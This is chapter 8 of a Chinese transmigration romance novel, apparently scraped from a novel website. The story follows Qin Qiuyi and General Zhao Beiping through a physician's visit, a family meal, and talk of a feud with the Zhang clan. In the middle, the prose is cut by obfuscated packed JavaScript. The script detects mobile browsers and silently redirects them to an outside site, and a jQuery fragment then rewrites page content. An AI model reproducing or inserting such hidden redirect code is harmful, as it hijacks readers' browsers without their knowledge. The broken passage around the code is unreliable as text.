8. 野蔷薇花
作品:《小可怜的猎物(穿书)》 温暖的春光穿过门窗照进来,醺得人犯困。
小老头闭着眼睛,抚着花白的胡须,把脉许久。长顺担心他睡着了,便清了一嗓子。
月儿胆子小,被他吓了一跳,小心挪着步子依偎到秦秋漪身边,不安地揪着她的衣裳,秦秋漪握住她的小手轻轻揉一揉。
这时候,老齐才睁开眼睛。
他年愈花甲,不大的眼睛里布满沧桑,却不浑浊。目光扫过主仆二人,转而对将军道:“夫人气血不足,该调理调理。”
“你可诊仔细了?”长顺看他是老糊涂了,中毒和气血不足都分不清。
老齐没回他,等着将军示意。无论是中毒还是气血不足,都是他一句话的事。
中毒嘛,自然要查中的什么毒,在何处吃了什么还是喝了什么,查府里头,或是查府外。要是气血不足呢,那就好办多了,开方抓药就可。
赵北平放下茶杯。
铁观音的兰香馥郁,和蔷薇花的清香纠缠在一起,一时叫人难以分辨出香气从哪儿来。
秦秋漪也放下袖子,白玉镯子重又戴上。她眉眼间神色淡淡,见杯子里的茶水凉了,便换个杯子重新倒一杯。正要放下茶壶,赵北平却把他的茶杯推过来,杯中茶汤见了底。
秦秋漪提壶为他续上,外头春风徐徐,屋里只闻杯盏轻微碰撞的脆响。
这声音不扰人,伴着袅袅升起的热气,她慢条斯理地倒茶,他静静凝望等候,还有花瓶里那野生蔷薇花随风轻点花枝的模样,如同寻常百姓家平淡安宁。
老齐见状,收起脉枕,低头写药方。
又叮嘱春杏,夫人身弱畏寒,平日里要注意避风保暖,尤其入夏后少食冰镇寒凉之物,完了他拎起药箱告退。
春杏也颇有眼色带月儿下去。
只长顺不明白,将军什么都知道,却什么都不提,老齐甚至帮着夫人隐瞒,这是为何?
他追上老齐,还没张口,老齐就知他要问什么。掐手一算,“你今年二十有五了吧,将军都娶妻了,你还不赶紧成个家。”
没头没尾的一句话,让人丈二和尚摸不着头脑。
长顺还想问,小老头背着药箱,迎着明媚的春光归家。
“等你成了亲,自然就明白喽。”
……
他们一走,秀澜院就安静了下来。
院子空荡,望着熟悉的砖石,还记得哪里是剑尖留下的裂痕,哪里是刀刃劈过留下的缺口。只是很久不曾来,又或是院子换了主人,这砖石这门窗都变得生分了,连春光似乎也比从前明亮许多。
和煦的春风吹进来,娇弱的野蔷薇花在高高的茶几上轻颤,花香四溢,终究是盖过了凉透了的茶香,眨眼间铺满了每个角落。
赵北平轻轻搁下茶杯,侧身望着柔美的女子,“这些日子,住得可还习惯?”
他嗓音沉稳,语气温和,吐字不疾不徐。没有责怪她隐瞒病情,也没问罪秦家的意思。尽管他收敛着,但久握重兵的霸气还是泄露一二,那光芒比外头的春光耀眼。
“在这里的日子,一切都好。”秦秋漪垂下眼眸去提茶壶,一入手便觉空荡,起身道:“我去沏壶新的来。”
忽而手腕被攥住,突如其来的变故险些让茶壶掉地上,茶盖发出几声慌张的响动后陷入寂静。
秦秋漪微微蹙了眉,他的手掌宽厚有力,攥着她的手腕如捏一根细竹,似乎他稍一用力就能掰断。
她挣扎着想要抽出手腕,却被他箍得更紧了,动弹不得。
屋里静得只听到些许的风声,他三根手指按在她的脉搏上。脉细绷急如弦,如绞转索,他拧了眉,“不疼吗?”
她偏过头不去看他,也不说话。
苍白倔强的模样,让人也说不出重话,赵北平放轻了声音,“安心静养,不必伤神,不想见的人便不用见。”
“只要活着……总还是要见的。”
她的声音低低的,风静静吹来,乌云般的发髻里金步摇轻轻晃,柔软的衣袖也轻轻荡。
“秦家的人和事,我能处理好,不会连累将军和老夫人。”
“开弓没有回头箭,可要想好了?”
“想好了。”
她澄澈的眼眸,坚定地看着他,没有怯意。
赵北平缓缓松开手,深邃的眼底有些微变化,春风拂过又平静无痕。
秦秋漪揉着被攥疼的手腕,重又坐回去,发髻里微微松动的金步摇颤动着,她抬手扶一下。
一刹那,灵动的金光晃过眼前,春光似也黯淡了两分。
赵北平偏过头,抬眸望向院子里的石砖。
……
秦家递拜帖的事,老夫人听底下人说了。没多问,她看中的是秦秋漪八字好,有福气,至于秦家那头只要不犯大事,她就懒得多嘴了。
倒是得知秦秋漪身体不适,她仔细问了问。气血不足虽不是大毛病,但也得好生调理。
中午秦秋漪来西棠院用饭,就拉着她的手嘱咐了好一会儿,又叫人去库房拿了许多补药,还有些宫里赏下来的燕窝、玫瑰露这些滋补的。
又道:“晨昏定省便免了,也不用早起,多睡会儿。天好时,园子里逛一逛,活动活动筋骨。”
秦秋漪边听边点头。
赵南安佯装吃味道:“娘有了儿媳,再不管我和大哥了。”
“我哪还管得了你,成天闯祸,隔三差五就得为你进宫去请罪。”老夫人瞧见他脸上未散的淤青,便来气。满桌菜肴,都失了胃口。
说起这事,赵南安又想为自己辩驳。
他额头上青了一块,脸颊上紫了一块,嘴角还破了,瞧着有些可怜。秦秋漪先一步为老夫人布菜,“娘,这鱼瞧着鲜嫩,您尝尝。”
赵南安话到嘴边便又咽回去,他是气不过章家行事霸道,但也知娘为了他被太后训斥,不该再气她了,于是拿起筷子闷头吃饭。
老夫人余光瞥见他可算安生下来,欣慰地拍拍秦秋漪的手,叫她坐下用饭。
只要赵南安不开口,通常饭桌上都安静得很。
用完饭,老夫人要午憩,秦秋漪便与赵北平一道退下。赵南安跟着他们,他憋了许久的心里话,等不及到峰青院,便倒豆子般“哗啦啦”都倒出来。
“大哥,章家实在猖狂!年前趁你受伤抢你兵权,如今他家庄子上的管事竟也敢欺负到我们头上来,怎么着,仗着太后护着他们,一点脸面也不给陛下了么?”
赵北平抬眸淡淡看他一眼,“慎言。”
赵南安闭上嘴巴,气鼓鼓的像个河豚。这个家里也只秦秋漪能跟他说到一处去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14869510|159540||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,落后两步,嗡声问她:“你也觉得我做错了?”
秦秋漪想了想,说:“下回带个帮手,再不济也把脸护住,破了相人家姑娘就瞧不上你了。”
赵南安翘起嘴角,扯到伤口疼得他赶紧压下去,不过心情好上许多,“你若碰到章家人,不管男女都远着些,他家没一个好的。”
见她认真点头,他又道:“过几日,他家办赏花宴,你可别去。”
这事秦秋漪不曾听老夫人提起过,想来也没打算让她去,便也点点头。
接着赵南安说起章家同他们家的恩怨来,都是京中勋贵,原先两家的关系虽不亲近,但也没到这般水火不容的地步,这事还得从陛下登基说起。
“这些年太后垂帘听政,迟迟不肯放权,处处用孝道压制陛下,连带着和陛下亲近的,都被他们打压。
当年北狄袭扰边境,章家的人不管城中百姓,带着家眷跑了,是我大哥临危受命守住的。现在他们想夺兵权,处处挑衅,当我不知他们肚子里的坏水呢,我偏就揍了,把章老七往死里揍。”
他边走边讲,秦秋漪时不时点个头。
这些事往小了说是两家矛盾,往大了说事关朝堂,但一路走来,赵北平没有制止。直到走到秀澜院,见赵南安还在讲,他才开口道:“莫打搅她午休。”
赵南安这才停下,和秦秋漪约定以后再讲,转而进了峰青院。他得跟大哥好好商议一番,不能老这么忍让下去。
进了屋,春杏先把汤药端来。
黑黑的汤汁,飘出苦涩的味道,直看得月儿小脸皱起。
秦秋漪笑一笑,一口气喝完。放下碗,连吃三颗蜜饯,又喝了两口春杏泡的花茶,茶中加了玫瑰露,清甜的香气把汤药的苦涩都冲掉了。
床帐放下,躺在床上没什么睡意,捋了捋赵南安说的那些恩怨。听起来像牢骚,细想来叫人后背发寒。赵南安打了太后的侄子,怕不是说老夫人两句这事就能过去的。
都说柿子专挑软的捏,可别捏到她身上。这般想着,她翻了个身,没一会儿药效上来,眼皮沉得抬不起来,沉沉地睡去。
再睁眼,已是太阳西斜。
春杏打了水进来,道:“将军叫长顺送来一盒顶好的铁观音,还叫花匠把野蔷薇挖了来。因着怕吵醒夫人,便没立时种下,说是等夫人醒了,夫人让种在哪块,便砸了哪块的石砖。”
秦秋漪睡了长长的一觉,脑袋昏沉,懵懵地望向窗外。
午后的小院,半明半暗,金色的光线从西边月洞门的墙头慵懒地洒下来,那棵野蔷薇就放在墙角处。根上裹着泥土,枝条理得整齐,些许花瓣掉了,被春风吹得四散,落在砖石上,坚硬的砖石瞧着都柔软了些。
春杏觉着,这是将军对夫人上心了,夫人也该趁热打铁才是。她道:“夫人先前为将军做的衣裳和香囊,我都仔细收着,可要这会儿送去?”
秦秋漪坐在妆台镜前梳理头发,手腕上他勒出的红痕未消,她凝神想了想,“你送去罢。”
“夫人不亲自去?”
“秦府的帖子可回了?”
“回了。”
“送完了叫花匠来,蔷薇花就种在那儿吧。”
春杏看了一眼她手指的方向,又看了看镜子里清丽出尘的模样,不解地退下。